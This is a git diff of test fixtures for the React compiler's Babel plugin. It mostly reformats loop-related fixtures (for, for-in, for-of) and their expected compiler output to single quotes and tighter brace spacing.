@@ -29,6 +29,7 @@ function Component(props) {
     x = x + i;
     i = i + 1;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update-with-continue.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update-with-continue.js
index 27d40d9d7325..501f953e9b5e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update-with-continue.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update-with-continue.js
@@ -10,6 +10,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update.expect.md
index a7cdbb860faa..35687d3a4b9b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update.expect.md
@@ -15,8 +15,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -32,6 +32,7 @@ function Component(props) {
       break;
     }
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update.js
index 24043fb1b9c7..f506449be81c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update.js
@@ -11,6 +11,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-body-always-returns.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-body-always-returns.expect.md
index b7b2fca123ba..401246172c9d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-body-always-returns.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-body-always-returns.expect.md
@@ -11,7 +11,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { a: "A!" } }],
+  params: [{value: {a: 'A!'}}],
 };
 
 ```
@@ -23,6 +23,7 @@ function Component(props) {
   for (const x in props.value) {
     return x;
   }
+
   return null;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-body-always-returns.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-body-always-returns.js
index e83113597c1e..b88ed2ca13d1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-body-always-returns.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-body-always-returns.js
@@ -7,5 +7,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { a: "A!" } }],
+  params: [{value: {a: 'A!'}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-break.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-break.expect.md
index 211d3e3b9280..a9d20954d00b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-break.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-break.expect.md
@@ -4,9 +4,9 @@
 ```javascript
 function Component(props) {
   let x;
-  const object = { ...props.value };
+  const object = {...props.value};
   for (const y in object) {
-    if (y === "break") {
+    if (y === 'break') {
       break;
     }
     x = object[y];
@@ -17,7 +17,7 @@ function Component(props) {
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   // should return 'a'
-  params: [{ a: "a", break: null, c: "C!" }],
+  params: [{a: 'a', break: null, c: 'C!'}],
 };
 
 ```
@@ -45,6 +45,7 @@ function Component(props) {
 
     x = object[y];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-break.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-break.js
index c3e6579936ea..fa1c38c45799 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-break.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-break.js
@@ -1,8 +1,8 @@
 function Component(props) {
   let x;
-  const object = { ...props.value };
+  const object = {...props.value};
   for (const y in object) {
-    if (y === "break") {
+    if (y === 'break') {
       break;
     }
     x = object[y];
@@ -13,5 +13,5 @@ function Component(props) {
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   // should return 'a'
-  params: [{ a: "a", break: null, c: "C!" }],
+  params: [{a: 'a', break: null, c: 'C!'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-continue.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-continue.expect.md
index 4d7a7e2cb343..06f13c05775a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-continue.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-continue.expect.md
@@ -4,9 +4,9 @@
 ```javascript
 function Component(props) {
   let x;
-  const object = { ...props.value };
+  const object = {...props.value};
   for (const y in object) {
-    if (y === "continue") {
+    if (y === 'continue') {
       continue;
     }
     x = object[y];
@@ -16,16 +16,16 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { a: "a", continue: "skip", b: "hello!" } }],
+  params: [{value: {a: 'a', continue: 'skip', b: 'hello!'}}],
   sequentialRenders: [
-    { value: { a: "a", continue: "skip", b: "hello!" } },
-    { value: { a: "a", continue: "skip", b: "hello!" } },
-    { value: { a: "skip!", continue: true } },
-    { value: { a: "a", continue: "skip", b: "hello!" } },
-    { value: { a: "skip!", continue: true } },
-    { value: { a: "a", continue: "skip", b: "hello!" } },
-    { value: { a: "skip!", continue: true } },
-    { value: { a: "skip!", continue: true } },
+    {value: {a: 'a', continue: 'skip', b: 'hello!'}},
+    {value: {a: 'a', continue: 'skip', b: 'hello!'}},
+    {value: {a: 'skip!', continue: true}},
+    {value: {a: 'a', continue: 'skip', b: 'hello!'}},
+    {value: {a: 'skip!', continue: true}},
+    {value: {a: 'a', continue: 'skip', b: 'hello!'}},
+    {value: {a: 'skip!', continue: true}},
+    {value: {a: 'skip!', continue: true}},
   ],
 };
 
@@ -54,6 +54,7 @@ function Component(props) {
 
     x = object[y];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-continue.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-continue.js
index b74f17c773d8..b67e6b2b5b8f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-continue.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-continue.js
@@ -1,8 +1,8 @@
 function Component(props) {
   let x;
-  const object = { ...props.value };
+  const object = {...props.value};
   for (const y in object) {
-    if (y === "continue") {
+    if (y === 'continue') {
       continue;
     }
     x = object[y];
@@ -12,15 +12,15 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { a: "a", continue: "skip", b: "hello!" } }],
+  params: [{value: {a: 'a', continue: 'skip', b: 'hello!'}}],
   sequentialRenders: [
-    { value: { a: "a", continue: "skip", b: "hello!" } },
-    { value: { a: "a", continue: "skip", b: "hello!" } },
-    { value: { a: "skip!", continue: true } },
-    { value: { a: "a", continue: "skip", b: "hello!" } },
-    { value: { a: "skip!", continue: true } },
-    { value: { a: "a", continue: "skip", b: "hello!" } },
-    { value: { a: "skip!", continue: true } },
-    { value: { a: "skip!", continue: true } },
+    {value: {a: 'a', continue: 'skip', b: 'hello!'}},
+    {value: {a: 'a', continue: 'skip', b: 'hello!'}},
+    {value: {a: 'skip!', continue: true}},
+    {value: {a: 'a', continue: 'skip', b: 'hello!'}},
+    {value: {a: 'skip!', continue: true}},
+    {value: {a: 'a', continue: 'skip', b: 'hello!'}},
+    {value: {a: 'skip!', continue: true}},
+    {value: {a: 'skip!', continue: true}},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-empty-body.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-empty-body.expect.md
index f91e2fcf802a..c091aa58d370 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-empty-body.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-empty-body.expect.md
@@ -11,7 +11,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { a: "a", b: "B", c: "C!" } }],
+  params: [{value: {a: 'a', b: 'B', c: 'C!'}}],
 };
 
 ```
@@ -23,6 +23,7 @@ function Component(props) {
   let x;
   for (const y in props.value) {
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-empty-body.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-empty-body.js
index 5423d145ccb3..79f09d0d67cb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-empty-body.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-empty-body.js
@@ -7,5 +7,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { a: "a", b: "B", c: "C!" } }],
+  params: [{value: {a: 'a', b: 'B', c: 'C!'}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-type-inference.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-type-inference.expect.md
index 874d4ab23182..686d95a6f504 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-type-inference.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-type-inference.expect.md
@@ -2,11 +2,12 @@
 ## Input
 
 ```javascript
-const { identity, mutate } = require("shared-runtime");
+// @enablePreserveExistingMemoizationGuarantees:false
+const {identity, mutate} = require('shared-runtime');
 
 function Component(props) {
   let x;
-  const object = { ...props.value };
+  const object = {...props.value};
   for (const y in object) {
     x = y;
   }
@@ -16,7 +17,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { a: "a", b: "B", c: "C!" } }],
+  params: [{value: {a: 'a', b: 'B', c: 'C!'}}],
 };
 
 ```
@@ -24,6 +25,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
 const { identity, mutate } = require("shared-runtime");
 
 function Component(props) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-type-inference.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-type-inference.js
index 801f159795a7..027d1e7f41ee 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-type-inference.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-type-inference.js
@@ -1,8 +1,9 @@
-const { identity, mutate } = require("shared-runtime");
+// @enablePreserveExistingMemoizationGuarantees:false
+const {identity, mutate} = require('shared-runtime');
 
 function Component(props) {
   let x;
-  const object = { ...props.value };
+  const object = {...props.value};
   for (const y in object) {
     x = y;
   }
@@ -12,5 +13,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: { a: "a", b: "B", c: "C!" } }],
+  params: [{value: {a: 'a', b: 'B', c: 'C!'}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement.expect.md
index 77a34e409a3b..00ce1f020e06 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement.expect.md
@@ -12,10 +12,10 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ hello: null, world: undefined, "!": true }],
+  params: [{hello: null, world: undefined, '!': true}],
   sequentialRenders: [
-    { a: null, b: null, c: null },
-    { lauren: true, mofei: true, sathya: true, jason: true },
+    {a: null, b: null, c: null},
+    {lauren: true, mofei: true, sathya: true, jason: true},
   ],
 };
 
@@ -33,7 +33,6 @@ function Component(props) {
     for (const key in props) {
       items.push(<div key={key}>{key}</div>);
     }
-
     t0 = <div>{items}</div>;
     $[0] = props;
     $[1] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement.js
index 520d900cb4b0..ba93f965556e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement.js
@@ -8,9 +8,9 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ hello: null, world: undefined, "!": true }],
+  params: [{hello: null, world: undefined, '!': true}],
   sequentialRenders: [
-    { a: null, b: null, c: null },
-    { lauren: true, mofei: true, sathya: true, jason: true },
+    {a: null, b: null, c: null},
+    {lauren: true, mofei: true, sathya: true, jason: true},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-logical.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-logical.expect.md
index 9d3af27e01bc..0eda34a2162e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-logical.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-logical.expect.md
@@ -17,8 +17,8 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -36,6 +36,7 @@ function foo(props) {
     x = x * 2;
     y = y + x;
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-logical.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-logical.js
index 8ea6632d89b7..cb09954ac7c6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-logical.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-logical.js
@@ -13,6 +13,6 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-let-undefined-decl.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-let-undefined-decl.expect.md
index 7bcc0f01f907..bb5447acf737 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-let-undefined-decl.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-let-undefined-decl.expect.md
@@ -11,9 +11,9 @@ function useFoo() {
   for (let i = 0; i <= 5; i++) {
     let color;
     if (isSelected) {
-      color = isCurrent ? "#FFCC22" : "#FF5050";
+      color = isCurrent ? '#FFCC22' : '#FF5050';
     } else {
-      color = isCurrent ? "#CCFF03" : "#CCCCCC";
+      color = isCurrent ? '#CCFF03' : '#CCCCCC';
     }
     console.log(color);
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-let-undefined-decl.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-let-undefined-decl.js
index ecd12115cd81..2de1d653e7cd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-let-undefined-decl.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-let-undefined-decl.js
@@ -7,9 +7,9 @@ function useFoo() {
   for (let i = 0; i <= 5; i++) {
     let color;
     if (isSelected) {
-      color = isCurrent ? "#FFCC22" : "#FF5050";
+      color = isCurrent ? '#FFCC22' : '#FF5050';
     } else {
-      color = isCurrent ? "#CCFF03" : "#CCCCCC";
+      color = isCurrent ? '#CCFF03' : '#CCCCCC';
     }
     console.log(color);
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-with-value-block-initializer.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-with-value-block-initializer.expect.md
index d9a1fd799e08..a68e2a23fb26 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-with-value-block-initializer.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-with-value-block-initializer.expect.md
@@ -18,8 +18,8 @@ export const FIXTURE_ENTRYPOINT = {
     {
       start: null,
       items: [
-        { id: 0, value: "zero" },
-        { id: 1, value: "one" },
+        {id: 0, value: 'zero'},
+        {id: 1, value: 'one'},
       ],
     },
   ],
@@ -27,31 +27,31 @@ export const FIXTURE_ENTRYPOINT = {
     {
       start: 1,
       items: [
-        { id: 0, value: "zero" },
-        { id: 1, value: "one" },
+        {id: 0, value: 'zero'},
+        {id: 1, value: 'one'},
       ],
     },
     {
       start: 2,
       items: [
-        { id: 0, value: "zero" },
-        { id: 1, value: "one" },
+        {id: 0, value: 'zero'},
+        {id: 1, value: 'one'},
       ],
     },
     {
       start: 0,
       items: [
-        { id: 0, value: "zero" },
-        { id: 1, value: "one" },
-        { id: 2, value: "two" },
+        {id: 0, value: 'zero'},
+        {id: 1, value: 'one'},
+        {id: 2, value: 'two'},
       ],
     },
     {
       start: 1,
       items: [
-        { id: 0, value: "zero" },
-        { id: 1, value: "one" },
-        { id: 2, value: "two" },
+        {id: 0, value: 'zero'},
+        {id: 1, value: 'one'},
+        {id: 2, value: 'two'},
       ],
     },
   ],
@@ -67,16 +67,15 @@ const TOTAL = 10;
 function Component(props) {
   const $ = _c(3);
   let t0;
-  if ($[0] !== props.start || $[1] !== props.items) {
+  if ($[0] !== props.items || $[1] !== props.start) {
     const items = [];
     for (let i = props.start ?? 0; i < props.items.length; i++) {
       const item = props.items[i];
       items.push(<div key={item.id}>{item.value}</div>);
     }
-
     t0 = <div>{items}</div>;
-    $[0] = props.start;
-    $[1] = props.items;
+    $[0] = props.items;
+    $[1] = props.start;
     $[2] = t0;
   } else {
     t0 = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-with-value-block-initializer.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-with-value-block-initializer.js
index 7ccad1917947..ae750d782885 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-with-value-block-initializer.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-with-value-block-initializer.js
@@ -14,8 +14,8 @@ export const FIXTURE_ENTRYPOINT = {
     {
       start: null,
       items: [
-        { id: 0, value: "zero" },
-        { id: 1, value: "one" },
+        {id: 0, value: 'zero'},
+        {id: 1, value: 'one'},
       ],
     },
   ],
@@ -23,31 +23,31 @@ export const FIXTURE_ENTRYPOINT = {
     {
       start: 1,
       items: [
-        { id: 0, value: "zero" },
-        { id: 1, value: "one" },
+        {id: 0, value: 'zero'},
+        {id: 1, value: 'one'},
       ],
     },
     {
       start: 2,
       items: [
-        { id: 0, value: "zero" },
-        { id: 1, value: "one" },
+        {id: 0, value: 'zero'},
+        {id: 1, value: 'one'},
       ],
     },
     {
       start: 0,
       items: [
-        { id: 0, value: "zero" },
-        { id: 1, value: "one" },
-        { id: 2, value: "two" },
+        {id: 0, value: 'zero'},
+        {id: 1, value: 'one'},
+        {id: 2, value: 'two'},
       ],
     },
     {
       start: 1,
       items: [
-        { id: 0, value: "zero" },
-        { id: 1, value: "one" },
-        { id: 2, value: "two" },
+        {id: 0, value: 'zero'},
+        {id: 1, value: 'one'},
+        {id: 2, value: 'two'},
       ],
     },
   ],
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-multiple-variable-declarations-in-initializer.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-multiple-variable-declarations-in-initializer.expect.md
index 4666c540705e..2cb73623e949 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-multiple-variable-declarations-in-initializer.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-multiple-variable-declarations-in-initializer.expect.md
@@ -14,7 +14,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: ["a", "b", 42] }],
+  params: [{items: ['a', 'b', 42]}],
 };
 
 ```
@@ -28,6 +28,7 @@ function Component(props) {
   let items;
   if ($[0] !== props.items) {
     items = [];
+
     for (let i = 0, length = props.items.length; i < length; i++) {
       items.push(props.items[i]);
     }
@@ -36,6 +37,7 @@ function Component(props) {
   } else {
     items = $[1];
   }
+
   return items;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-multiple-variable-declarations-in-initializer.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-multiple-variable-declarations-in-initializer.js
index 06546cdc691b..039247bbe305 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-multiple-variable-declarations-in-initializer.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-multiple-variable-declarations-in-initializer.js
@@ -10,5 +10,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ items: ["a", "b", 42] }],
+  params: [{items: ['a', 'b', 42]}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-break.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-break.expect.md
index a5aebc8f3137..71b9efc29ecc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-break.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-break.expect.md
@@ -35,6 +35,7 @@ function Component() {
   for (const item of [1, 2]) {
     break;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later-value-initially-null.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later-value-initially-null.expect.md
index 69597fc43266..3ba534ff0620 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later-value-initially-null.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later-value-initially-null.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   let lastItem = null;
@@ -39,6 +39,7 @@ function Component(props) {
     for (const x of items) {
       lastItem = x;
     }
+
     if (lastItem != null) {
       lastItem.a = lastItem.a + 1;
     }
@@ -46,6 +47,7 @@ function Component(props) {
   } else {
     items = $[0];
   }
+
   return items;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later-value-initially-null.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later-value-initially-null.js
index 962ab8e42ed8..f64dc8198089 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later-value-initially-null.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later-value-initially-null.js
@@ -1,4 +1,4 @@
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   let lastItem = null;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later.expect.md
index 28ae45166a0d..125c26a3e092 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   let lastItem = {};
@@ -39,6 +39,7 @@ function Component(props) {
     for (const x of items) {
       lastItem = x;
     }
+
     if (lastItem != null) {
       lastItem.a = lastItem.a + 1;
     }
@@ -46,6 +47,7 @@ function Component(props) {
   } else {
     items = $[0];
   }
+
   return items;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later.js
index 3a4a92a66177..7b3f3be3ee81 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-capture-item-of-local-collection-mutate-later.js
@@ -1,4 +1,4 @@
-import { makeObject_Primitives } from "shared-runtime";
+import {makeObject_Primitives} from 'shared-runtime';
 
 function Component(props) {
   let lastItem = {};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-conditional-break.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-conditional-break.expect.md
index ce7ae8debad1..e69b8bf773ee 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-conditional-break.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-conditional-break.expect.md
@@ -41,6 +41,7 @@ function Component() {
   } else {
     x = $[0];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-continue.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-continue.expect.md
index d51627d1640b..c6c10e236948 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-continue.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-continue.expect.md
@@ -43,6 +43,7 @@ function Component() {
   } else {
     ret = $[0];
   }
+
   return ret;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-destructure.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-destructure.expect.md
index ebe23421f6b0..8391f77c9ced 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-of-destructure.expect.md
